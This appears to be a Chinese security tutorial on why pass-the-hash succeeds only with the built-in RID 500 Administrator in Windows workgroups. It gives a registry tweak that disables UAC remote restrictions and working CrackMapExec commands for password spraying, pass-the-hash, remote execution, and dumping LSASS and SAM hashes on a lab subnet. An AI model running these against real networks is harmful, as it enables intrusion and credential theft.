文章目录
- 简述
- RID 500本地管理员密码喷洒
- 何为RIP 500 安全标识符
- SID与RID
- PTH为何必须是RID 500
- CrackMapExec进行密码喷洒
简述
在工作组PTH中为什么只有administrator账号可以,下面进行讲解与利用。
RID 500本地管理员密码喷洒
何为RIP 500 安全标识符
安全标识符
安全标识符:
安全标识符用于唯一标识安全主体或安全组。 安全主体可以表示可由操作系统进行身份验证的任何实体,例如用户帐户、
计算机帐户或在用户或计算机帐户的安全上下文中运行的线程或进程。
每个帐户或组,或在帐户的安全上下文中运行的每个进程都具有由颁发机构(如 Windows 域控制器)颁发的唯一 SID。
SID 存储在安全数据库中。 在创建帐户或组时,系统将生成用于标识特定帐户或组的 SID。 如果已将某个 SID 用作用户
或组的唯一标识符,则该 SID 绝不能再次用于标识其他用户或组。
每次用户登录时,系统都会为该用户创建访问令牌。 访问令牌包含用户的 SID、用户权限以及用户所属的任何组的 SID。
此令牌为用户在该计算机上执行的任何操作提供安全上下文。
除了分配给特定用户和组的唯一创建的域专用 SID 外,还有用来标识通用群体和通用用户的公认 SID。 例如,“Everyone and
World”SID 标识包含所有用户的组。 公认 SID 的值在所有操作系统中保持不变。
从上面的微软描述中可以认识到安全标识符的作用是用于标识安全主体或者安全组,安全主体比如用户账号例子:
常见公认SID举例:
KRBTGT(S-1-5-域-502):密钥分发中心 (KDC) 服务使用的用户帐户。 该帐户仅存在于域控制器上
域管理员:(S-1-5-域-512)包含有权管理域的成员的全局组。 默认情况下,“Domain Admins”组是已加入域的所有计算机
(包括域控制器)上的“Administrators”组的成员。“Domain Admins”是组的任何成员在域的 Active Directory 中创建的
任何对象的默认所有者。 如果组的成员创建其他对象(如文件),则默认所有者是“Administrators”组。
管理员(S-1-5-域-500):系统管理员的用户帐户。 每台计算机都有一个本地“Administrator”帐户,每个域都有一个域“Administrator”
帐户。“Administrator”帐户是在操作系统安装过程中创建的第一个帐户。 无法删除、禁用或锁定此帐户,但可以重命名此帐户。
默认情况下,管理员帐户是“Administrator”组的成员,无法从该组中删除。
从微软的说明中可以看到Administrator的安全标识符是S-1-5-域-500可是为什么又叫RID 500下面开始讲解。
SID与RID
SID(安全标识符) Active Directory 域控制器副本分配SID
RID(相对标识符分配) 本地安全帐户管理器 (SAM)分配RID
从上述微软说明中可以看到SID的分配涉及到了域相关的部分,创建一个SID由Active Directory 域控制器进行分配
并且将副本广播到其他域控,RID的分配简单很多是一个单主机操作并分配与存储的地方是本机SAM管理的帐户数据库中
,这就是SID与RID管理简单的理解还有许多没讲的比如RIP可以看成是SID的一部分因为RID的颁发机构是SID,详细可以
具体查看微软文档不在过多赘述。
PTH为何必须是RID 500
从上述内容中可以看到除了500之外还有其他安全主体相信大家在PTH的时候到非域环境的时候必须administrator账号
才能成功为什么其他账号就不行呢,比如位于管理员组的其他账号为什么不行,administrator的RID就是500也就是说为何
非RID 500的账号工作组环境中无法PTH,我建议大家看下微软的资料。
在服务器管理器中配置远程管理
重点阅读:
启用或禁用远程管理
用户帐户控制和远程限制说明
重点阅读:
UAC 远程限制如何工作
本地用户帐户(安全帐户管理器用户帐户)
如何禁用UAC远程限制
用户帐户控制和 WMI
重点阅读:
在 UAC 下处理远程连接
从重点阅读的内容多次出现的UAC就能猜到这跟UAC有关那么我将为大家进行简单的梳理。
启用或禁用远程管理:
在远程管理管理的时候内置管理员帐户之外的本地管理员帐户也可能不具有远程管理服务器的权限也就是说,
administrator是内置管理员账号除了它之外的加入到本机管理员组的比如admin账号是无法进行远程管理的,
WinRM也同样受此影响。
UAC远程限制如何工作:
UAC在远程登录的时候比如PTH/WinRM是受到限制的,限制的原因是为了助于防止环回攻击的恶意软件。
本地用户帐户(安全帐户管理器用户帐户):
这种UAC限制是通过除内置管理员账号之外的本机管理员账号连接都是被降权过的,它们无法进行权限提升,
是不完全管理员身份进行连接的,换句话说是已标准用户身份运行而非管理员身份运行,只有在程协助或远程
桌面管理RDP下才已完全管理员身份进行连接。
如何禁用UAC远程限制:
regedit打开注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
找到LocalAccountTokenFilterPolicy项如果不存在则新建创建DWORD的LocalAccountTokenFilterPolicy值的数值
为1则禁用UAC远程限制,本地管理员组账号如admin在其中则可以正常使用PTH/WinRM等进行登录。
在UAC下处理远程连接:
UAC限制跟是否处于工作组或域中有关,这也就解释了为什么域管可以正常登录而不受UAC限制的影响,域账号的
UAC访问令牌过滤不会被影响。
CrackMapExec进行密码喷洒
在工作组下为什么只有RID 500才能进行远程登录已经讲过了下面将进行密码复用,在工作组中运维或者负责人在安装
系统的时候为了方便将内置管理员账号使用同一个密码可能在多台机器上同时使用这个时候就可以进行密码喷洒进行
横向移动,下面将先进行CrackMapExec工具的使用。
CrackMapExec密码喷洒:
下载地址:https://github.com/byt3bl33d3r/CrackMapExec
介绍:
进行密码喷洒命令格式:
./cme smb 192.168.80.1/24 -u 'Administrator' -p 'WindowsServer2016'
显示Pwn3d!说明密码正确
CrackMapExec喷洒并执行命令:
./cme smb 192.168.80.1/24 -u 'Administrator' -p 'WindowsServer2016' --local-auth -x whoami --exec-method smbexec
实战中抓取密码hash形式而不是明文形式下面使用mimikatz抓取hash然后尝试hash密码喷洒
PTH密码喷洒:
./cme smb 192.168.80.1/24 -u 'Administrator' -H 'f56493db963060257da87735557c6d5a'
PTH密码喷洒执行命令
./cme smb 192.168.80.1/24 -u 'Administrator' -H 'f56493db963060257da87735557c6d5a' --local-auth -x whoami --exec-method smbexec
利用CrackMapExec模块
CrackMapExec 协议 -L 查看支持哪些模块
利用lsassy模块对lsass进行远程转储并查看账号与密码hash
./cme smb 192.168.80.1/24 -u 'Administrator' -H 'f56493db963060257da87735557c6d5a' -M lsassy
可以看到lsassy模块成功抓取到了WIN-1IH6AQ46IHM\admin ebb81dddafd1c0222fd2022c2da26853
admin的Hash,当然也可以使用其他协议的模块,需要注意的是不同的协议可用的模块也不一样下面查看
下mssql的模块。
当然除了lsass远程转储也可以获取sam的内容
./cme smb 192.168.80.1/24 -u 'Administrator' -H 'f56493db963060257da87735557c6d5a' --local-auth --sam